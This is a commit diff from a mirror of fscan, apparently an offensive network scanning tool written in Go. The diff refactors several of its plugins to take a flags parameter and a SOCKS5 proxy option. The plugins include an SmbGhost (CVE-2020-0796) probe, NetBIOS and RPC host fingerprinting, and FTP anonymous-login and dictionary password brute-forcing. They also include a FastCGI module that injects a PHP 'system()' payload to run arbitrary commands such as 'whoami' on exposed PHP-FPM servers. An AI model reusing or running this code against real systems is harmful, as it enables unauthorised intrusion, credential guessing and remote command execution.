mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-14 05:12:36 +08:00
commit
1e01f27a99
@ -94,18 +94,18 @@ const (
|
|||||||
"\x00\x00\x00\x00"
|
"\x00\x00\x00\x00"
|
||||||
)
|
)
|
||||||
|
|
||||||
func SmbGhost(info *common.HostInfo) error {
|
func SmbGhost(info common.HostInfo, flags common.Flags) error {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
err := SmbGhostScan(info)
|
err := SmbGhostScan(info, flags)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func SmbGhostScan(info *common.HostInfo) error {
|
func SmbGhostScan(info common.HostInfo, flags common.Flags) error {
|
||||||
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
|
ip, port, timeout := info.Host, 445, time.Duration(flags.Timeout)*time.Second
|
||||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, timeout)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -119,12 +119,15 @@ func SmbGhostScan(info *common.HostInfo) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
buff := make([]byte, 1024)
|
buff := make([]byte, 1024)
|
||||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
||||||
|
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
n, err := conn.Read(buff)
|
n, err := conn.Read(buff)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
|
||||||
|
if bytes.Contains(buff[:n], []byte("Public")) {
|
||||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
|
|
||||||
|
@ -4,29 +4,30 @@ import (
|
|||||||
"bytes"
|
"bytes"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"gopkg.in/yaml.v3"
|
|
||||||
"net"
|
"net"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"gopkg.in/yaml.v3"
|
||||||
)
|
)
|
||||||
|
|
||||||
var netbioserr = errors.New("netbios error")
|
var errNetBIOS = errors.New("netbios error")
|
||||||
|
|
||||||
func NetBIOS(info *common.HostInfo) error {
|
func NetBIOS(info common.HostInfo, flags common.Flags) error {
|
||||||
netbios, _ := NetBIOS1(info)
|
netbios, _ := NetBIOS1(info, flags)
|
||||||
output := netbios.String()
|
output := netbios.String()
|
||||||
if len(output) > 0 {
|
if len(output) > 0 {
|
||||||
result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output)
|
result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return netbioserr
|
return errNetBIOS
|
||||||
}
|
}
|
||||||
|
|
||||||
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, err error) {
|
||||||
netbios, err = GetNbnsname(info)
|
netbios, err = GetNbnsname(info, flags.Timeout)
|
||||||
var payload0 []byte
|
var payload0 []byte
|
||||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||||
ss := netbios.ServerService
|
ss := netbios.ServerService
|
||||||
@ -40,7 +41,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
|||||||
}
|
}
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
var conn net.Conn
|
var conn net.Conn
|
||||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -49,7 +50,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -88,11 +89,11 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err error) {
|
||||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn, err := net.DialTimeout("udp", realhost, time.Duration(timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -101,7 +102,7 @@ func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -208,7 +209,7 @@ type NetBiosInfo struct {
|
|||||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
NetComputerName string `yaml:"NetBiosComputerName"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (info *NetBiosInfo) String() (output string) {
|
func (info NetBiosInfo) String() (output string) {
|
||||||
var text string
|
var text string
|
||||||
//ComputerName 信息比较全
|
//ComputerName 信息比较全
|
||||||
if info.ComputerName != "" {
|
if info.ComputerName != "" {
|
||||||
@ -249,7 +250,7 @@ func (info *NetBiosInfo) String() (output string) {
|
|||||||
|
|
||||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||||
if len(input) < 57 {
|
if len(input) < 57 {
|
||||||
err = netbioserr
|
err = errNetBIOS
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
data := input[57:]
|
data := input[57:]
|
||||||
@ -281,7 +282,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(msg) == 0 {
|
if len(msg) == 0 {
|
||||||
err = netbioserr
|
err = errNetBIOS
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||||
@ -293,7 +294,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
|||||||
|
|
||||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||||
if len(ret) < 47 {
|
if len(ret) < 47 {
|
||||||
err = netbioserr
|
err = errNetBIOS
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
var num1, num2 int
|
var num1, num2 int
|
||||||
@ -328,7 +329,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
length = num1 + num2*256
|
length = num1 + num2*256
|
||||||
num1, err = bytetoint(ret[start+44 : start+45][0])
|
_, err = bytetoint(ret[start+44 : start+45][0])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
@ -6,34 +6,35 @@ import (
|
|||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"io"
|
"io"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
//links
|
//links
|
||||||
//https://xz.aliyun.com/t/9544
|
//https://xz.aliyun.com/t/9544
|
||||||
//https://github.com/wofeiwo/webcgi-exploits
|
//https://github.com/wofeiwo/webcgi-exploits
|
||||||
|
|
||||||
func FcgiScan(info *common.HostInfo) {
|
func FcgiScan(info common.HostInfo, flags common.Flags) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
url := "/etc/issue"
|
url := "/etc/issue"
|
||||||
if common.Path != "" {
|
if flags.Path != "" {
|
||||||
url = common.Path
|
url = flags.Path
|
||||||
}
|
}
|
||||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
var reqParams string
|
var reqParams string
|
||||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
||||||
switch {
|
switch {
|
||||||
case common.Command == "read":
|
case flags.Command == "read":
|
||||||
reqParams = ""
|
reqParams = ""
|
||||||
case common.Command != "":
|
case flags.Command != "":
|
||||||
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
|
reqParams = "<?php system('" + flags.Command + "');die('" + cutLine + "');?>"
|
||||||
default:
|
default:
|
||||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
||||||
}
|
}
|
||||||
@ -54,7 +55,7 @@ func FcgiScan(info *common.HostInfo) {
|
|||||||
env["REQUEST_METHOD"] = "GET"
|
env["REQUEST_METHOD"] = "GET"
|
||||||
}
|
}
|
||||||
|
|
||||||
fcgi, err := New(addr, common.Timeout)
|
fcgi, err := New(addr, flags)
|
||||||
defer func() {
|
defer func() {
|
||||||
if fcgi.rwc != nil {
|
if fcgi.rwc != nil {
|
||||||
fcgi.rwc.Close()
|
fcgi.rwc.Close()
|
||||||
@ -93,21 +94,21 @@ func FcgiScan(info *common.HostInfo) {
|
|||||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
||||||
var result string
|
var result string
|
||||||
var output = string(stdout)
|
var output = string(stdout)
|
||||||
if strings.Contains(string(stdout), cutLine) { //命令成功回显
|
if strings.Contains(output, cutLine) { // 命令成功回显
|
||||||
output = strings.SplitN(string(stdout), cutLine, 2)[0]
|
out := strings.SplitN(output, cutLine, 2)[0]
|
||||||
|
if len(stderr) > 0 {
|
||||||
|
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr))
|
||||||
|
} else {
|
||||||
|
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out)
|
||||||
|
}
|
||||||
|
common.LogSuccess(result)
|
||||||
|
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
|
||||||
if len(stderr) > 0 {
|
if len(stderr) > 0 {
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
|
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
|
||||||
}
|
}
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -182,8 +183,8 @@ type FCGIClient struct {
|
|||||||
keepAlive bool
|
keepAlive bool
|
||||||
}
|
}
|
||||||
|
|
||||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
fcgi = &FCGIClient{
|
fcgi = &FCGIClient{
|
||||||
rwc: conn,
|
rwc: conn,
|
||||||
keepAlive: false,
|
keepAlive: false,
|
||||||
@ -191,38 +192,31 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||||
this.mutex.Lock()
|
c.mutex.Lock()
|
||||||
defer this.mutex.Unlock()
|
defer c.mutex.Unlock()
|
||||||
this.buf.Reset()
|
c.buf.Reset()
|
||||||
this.h.init(recType, reqId, len(content))
|
c.h.init(recType, reqId, len(content))
|
||||||
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
|
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if _, err := this.buf.Write(content); err != nil {
|
if _, err := c.buf.Write(content); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
|
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
_, err = this.rwc.Write(this.buf.Bytes())
|
_, err = c.rwc.Write(c.buf.Bytes())
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
b := [8]byte{byte(role >> 8), byte(role), flags}
|
||||||
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||||
}
|
}
|
||||||
|
|
||||||
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||||
b := make([]byte, 8)
|
w := newWriter(c, recType, reqId)
|
||||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
|
||||||
b[4] = protocolStatus
|
|
||||||
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
|
||||||
w := newWriter(this, recType, reqId)
|
|
||||||
b := make([]byte, 8)
|
b := make([]byte, 8)
|
||||||
for k, v := range pairs {
|
for k, v := range pairs {
|
||||||
n := encodeSize(b, uint32(len(k)))
|
n := encodeSize(b, uint32(len(k)))
|
||||||
@ -241,29 +235,6 @@ func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func readSize(s []byte) (uint32, int) {
|
|
||||||
if len(s) == 0 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
size, n := uint32(s[0]), 1
|
|
||||||
if size&(1<<7) != 0 {
|
|
||||||
if len(s) < 4 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
n = 4
|
|
||||||
size = binary.BigEndian.Uint32(s)
|
|
||||||
size &^= 1 << 31
|
|
||||||
}
|
|
||||||
return size, n
|
|
||||||
}
|
|
||||||
|
|
||||||
func readString(s []byte, size uint32) string {
|
|
||||||
if size > uint32(len(s)) {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return string(s[:size])
|
|
||||||
}
|
|
||||||
|
|
||||||
func encodeSize(b []byte, size uint32) int {
|
func encodeSize(b []byte, size uint32) int {
|
||||||
if size > 127 {
|
if size > 127 {
|
||||||
size |= 1 << 31
|
size |= 1 << 31
|
||||||
@ -324,21 +295,21 @@ func (w *streamWriter) Close() error {
|
|||||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
return w.c.writeRecord(w.recType, w.reqId, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||||
|
|
||||||
var reqId uint16 = 1
|
var reqId uint16 = 1
|
||||||
defer this.rwc.Close()
|
defer c.rwc.Close()
|
||||||
|
|
||||||
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
err = this.writePairs(FCGI_PARAMS, reqId, env)
|
err = c.writePairs(FCGI_PARAMS, reqId, env)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if len(reqStr) > 0 {
|
if len(reqStr) > 0 {
|
||||||
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -348,23 +319,26 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []
|
|||||||
var err1 error
|
var err1 error
|
||||||
|
|
||||||
// recive untill EOF or FCGI_END_REQUEST
|
// recive untill EOF or FCGI_END_REQUEST
|
||||||
|
OUTER:
|
||||||
for {
|
for {
|
||||||
err1 = rec.read(this.rwc)
|
err1 = rec.read(c.rwc)
|
||||||
if err1 != nil {
|
if err1 != nil {
|
||||||
if err1 != io.EOF {
|
if err1 != io.EOF {
|
||||||
err = err1
|
err = err1
|
||||||
}
|
}
|
||||||
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
switch {
|
|
||||||
case rec.h.Type == FCGI_STDOUT:
|
switch rec.h.Type {
|
||||||
|
case FCGI_STDOUT:
|
||||||
retout = append(retout, rec.content()...)
|
retout = append(retout, rec.content()...)
|
||||||
case rec.h.Type == FCGI_STDERR:
|
case FCGI_STDERR:
|
||||||
reterr = append(reterr, rec.content()...)
|
reterr = append(reterr, rec.content()...)
|
||||||
case rec.h.Type == FCGI_END_REQUEST:
|
case FCGI_END_REQUEST:
|
||||||
fallthrough
|
fallthrough
|
||||||
default:
|
default:
|
||||||
break
|
break OUTER
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -4,9 +4,10 @@ import (
|
|||||||
"bytes"
|
"bytes"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -15,14 +16,14 @@ var (
|
|||||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||||
)
|
)
|
||||||
|
|
||||||
func Findnet(info *common.HostInfo) error {
|
func Findnet(info common.HostInfo, flags common.Flags) error {
|
||||||
err := FindnetScan(info)
|
err := FindnetScan(info, flags)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func FindnetScan(info *common.HostInfo) error {
|
func FindnetScan(info common.HostInfo, flags common.Flags) error {
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -31,7 +32,7 @@ func FindnetScan(info *common.HostInfo) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
@ -2,19 +2,20 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/jlaffaye/ftp"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/jlaffaye/ftp"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
flag, err := FtpConn(info, "anonymous", "")
|
flag, err := FtpConn(info, "anonymous", "", flags.Timeout)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||||
@ -28,8 +29,8 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
|
|||||||
for _, user := range common.Userdict["ftp"] {
|
for _, user := range common.Userdict["ftp"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := FtpConn(info, user, pass)
|
flag, err := FtpConn(info, user, pass, flags.Timeout)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||||
@ -38,7 +39,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -47,10 +48,10 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func FtpConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
|
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second))
|
||||||
if err == nil {
|
if err == nil {
|
||||||
err = conn.Login(Username, Password)
|
err = conn.Login(Username, Password)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
|
@ -3,15 +3,16 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/fatih/color"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/net/icmp"
|
|
||||||
"net"
|
"net"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"golang.org/x/net/icmp"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -21,14 +22,14 @@ var (
|
|||||||
livewg sync.WaitGroup
|
livewg sync.WaitGroup
|
||||||
)
|
)
|
||||||
|
|
||||||
func CheckLive(hostslist []string, Ping bool) []string {
|
func CheckLive(hostslist []string, ping bool, liveTop int) []string {
|
||||||
chanHosts := make(chan string, len(hostslist))
|
chanHosts := make(chan string, len(hostslist))
|
||||||
go func() {
|
go func() {
|
||||||
for ip := range chanHosts {
|
for ip := range chanHosts {
|
||||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||||
ExistHosts[ip] = struct{}{}
|
ExistHosts[ip] = struct{}{}
|
||||||
if !common.Silent {
|
if !common.Silent {
|
||||||
if !Ping {
|
if !ping {
|
||||||
color.Green("(icmp) Target %-15s is alive\n", ip)
|
color.Green("(icmp) Target %-15s is alive\n", ip)
|
||||||
} else {
|
} else {
|
||||||
color.Green("(ping) Target %-15s is alive\n", ip)
|
color.Green("(ping) Target %-15s is alive\n", ip)
|
||||||
@ -40,17 +41,17 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
if Ping == true {
|
if ping {
|
||||||
//使用ping探测
|
// use ping detection
|
||||||
RunPing(hostslist, chanHosts)
|
RunPing(hostslist, chanHosts)
|
||||||
} else {
|
} else {
|
||||||
//优先尝试监听本地icmp,批量探测
|
// try to listen to local icmp first, batch detection
|
||||||
